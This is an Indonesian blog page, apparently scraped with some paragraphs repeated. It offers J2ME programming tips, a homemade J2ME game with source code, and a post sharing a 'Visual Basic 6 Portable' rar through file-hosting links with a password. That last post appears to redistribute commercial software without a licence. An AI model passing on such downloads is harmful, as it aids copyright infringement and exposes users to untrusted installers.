Aplikasi video player online ini digunakan untuk menampilkan video berekstensi .mpg, dimana file video yang akan dijalankan berada pada salah satu server. Pada artikel ini, aplikasi yang akan dikembangkan hanya menggunakan server lokal sebagai media penyimpanan file video tersebut. File tersebut akan dijalankan oleh aplikasi ini secara melalui koneksi GPRS…
Download Tulisan Lengkap:
Aplikasi video player online ini digunakan untuk menampilkan video berekstensi .mpg, dimana file video yang akan dijalankan berada pada salah satu server. Pada artikel ini, aplikasi yang akan dikembangkan hanya menggunakan server lokal sebagai media penyimpanan file video tersebut. File tersebut akan dijalankan oleh aplikasi ini secara melalui koneksi GPRS…
Download Tulisan Lengkap:
Tips-Tips J2ME
Tidak perlu panjang lebar untuk memaparkan pada itu Java. Java adalah teknologi dan bahasa pemrograman yang berjalan pada multiflatform sesuai dengan semboyannya yaitu “Write Once, Run Anywhere”. Pada site official Java dari Sun yaitu http://java.sun.com bisa ditemui tiga pembagian paket Java yaitu : Java 2 Enterprise Edition (J2EE), Java 2 Standart Editon (J2SE), dan Java 2 Micro Edition (J2ME)
Penjelasan paling simple atas pembagian tersebut berdasarkan atas perangkat keras yang digunakan. Paket J2EE digunakan pada perangkat keras yang mempunyai
spesifikasi dan memory yang besar seperti pada komputer server. Paket J2SE digunakan pada perangkat keras seperti komputer desktop. Paket J2ME digunakan pada perangkat yang memiliki memory kecil seperti ponsel, pager atau PDA. Paparan singkat di atas adalah penjelasan singkat mengenai Java dan sedikit gambaran dimana paket J2ME digunakan. Sebenarnya masih panjang penjelasan tentang Java dan paket J2ME, tapi tidak dibahas pada tulisan ini, mungkin bisa menjadi pekerjaan rumah buat para pembaca yang tertarik akan Java atau J2ME.
spesifikasi dan memory yang besar seperti pada komputer server. Paket J2SE digunakan pada perangkat keras seperti komputer desktop. Paket J2ME digunakan pada perangkat yang memiliki memory kecil seperti ponsel, pager atau PDA. Paparan singkat di atas adalah penjelasan singkat mengenai Java dan sedikit gambaran dimana paket J2ME digunakan. Sebenarnya masih panjang penjelasan tentang Java dan paket J2ME, tapi tidak dibahas pada tulisan ini, mungkin bisa menjadi pekerjaan rumah buat para pembaca yang tertarik akan Java atau J2ME.
- Tips 1: Pendahuluan J2ME
- Tips 2: List dan Interaksi User
- Tips 3: Command, List dan Interaksi User
- Tips 4: Tambah dan Kurang Command
- Tips 5: Form dan Textfield
- Tips 6: Menggambar di Canvas
- Tips 7: Form dan Ticker
- Tips 8: Tipe Masukan pada TextField
- Tips 9: DateField
Membuat Game HP Java Sendiri

Download disini. Punya waktu luang sepulang kantor membuat ke isengan saya muncul secara tiba-tiba, dari pada mubazir saya isi dengan membuat game j2me untuk di jalankan di handphone. Pembuatannya yang memakan waktu cukup lama, sedikit mengganggu hidup juga lho, soalnya sempet BT juga kalo banyak error dimana mana. Hasilnya memang tidak begitu bagus sie, karena saya tidak punya ilmu desain grafis, tapi setidaknya game java ini bisa cukup menghibur untuk beberapa menit kedepan.
Berhubung Handphone saya sedang rusak maka saya belum sempat mencobanya di handphone sesungguhnya, maka dari itu teman-teman kalo ada waktu game javanya tolong di coba dan dimainkan yah, saya mohon kritikan, cacian dan hinaannya. Sebenernya game java ini berjalan cukup baik di emulatornya, tapi seandainya pada saat anda mencoba memainkan game java ini dan game java yang saya buat bisa menyebabkan Handpone anda meledak atau bahkan hilang -Lebay-, mohon di maafkan dan di mengerti karena sebenarnya saya tidak punya niat jahat yang tersembunyi.
Yang tadi bercanda lho, saya cuma mau bilang kalau game java yang saya buat tidak ada kode yang membahayakan keamanannya Handpone anda. Tidak ada program virus, worm, Trojan atau sejenisnya dalam game java saya, tapi kalau ada error-error sedikit harap maklum ya, namanya juga pemula dalam membuat game :p.
Bagaimana cara bermainnya ?
Keypad 5 atau tombol Fire untuk terbang, gunakan kanan/6 dan kiri/3 untuk bergerak di angkasa, selamat mencoba.
Gamenya juga bisa di download disini
Ini tutorial kalo mau bikin program di j2me
Download Source Code Mario Air [J2ME]
Sabtu, 04 September 2010
Visual Basic 6 Portable Full Ziddu Mediafire
Visual Basic 6 Portable | 5.83 Mb
ActiveX technologies allow you to use the functionality provided by other applications, and even automate applications and objects created using the Professional or Enterprise editions of Visual Basic. Internet capabilities make it easy to provide access to documents and applications across the Internet or intranet from within your application, or to create Internet server applications.
Download Links:
ZIDDU
Rar Password: www.4-bang.co.cc
Setup | http://www.ziddu.com/download/9659626/VisualBasic6Portable.www.4-bang.co.cc.rar.html
MEDIAFIRE
Password: www.4-bang.co.cc
Setup | http://www.mediafire.com/?zanyzttyyrd
Langganan:
Komentar (Atom)
About Me
Popular Posts
-
Forum sering digunakan untuk bertanya atau berdiskusi dengan sesama pengunjung. Forum juga ada dua jenis, yaitu forum yang harus daftar t...
-
UPDATE : SEKARANG TUTORIAL YANG BARU ADA DI ARTIKEL CARA MEMBUAT FORUM DISKUSI DENGAN SMF UPDATE : SEKARANG TUTORIAL YANG BARU ADA DI ARTI...
-
Cleans and optimizes PCs like never before: NEW! TuneUp Disk Cleaner 2013: Wipes system clutter from over 150 popular programs NE...
-
Cara menutup Open Port di windows Untuk keamanan Komputer kita dari hacker perlu kita lakukan langkah-langkah untuk menutup port seperti por...
-
Tool untuk reporting yang paling populer di Java adalah iReport. iReport penggunaanya mirip dengan Crystal Report yang sudah banyak dikena...
-
Cara Konfigurasi Dasar Vlan Pada Router Cisco Untuk artikel kali ini kita akan membuat jaringan dengan menggunakan V...
-
Aplikasi pemutar video pada perangkat mobile memang sudah tidak asing lagi, antara lain aplikasi pemutar video dengan format file 3GPP, M...
-
melacak IP address suatu situs. Dalam artikel ini akan membahas hal-hal berikut: 1. Melacak alamat IP suatu situs 2. Melacak Real Adress...
-
Sebelum mempelajari sesuatu biasanya karena seseorang itu ingin bisa sesuatu juga, contoh belajar nyetir mobil agar nyetir mobil dan syukur ...
-
Tutorial kali ini akan memperlihatkan kepada anda 5 teknik sederhana, namun sangat penting, bagi pemula Photoshop jika ingin menekuni foto ...

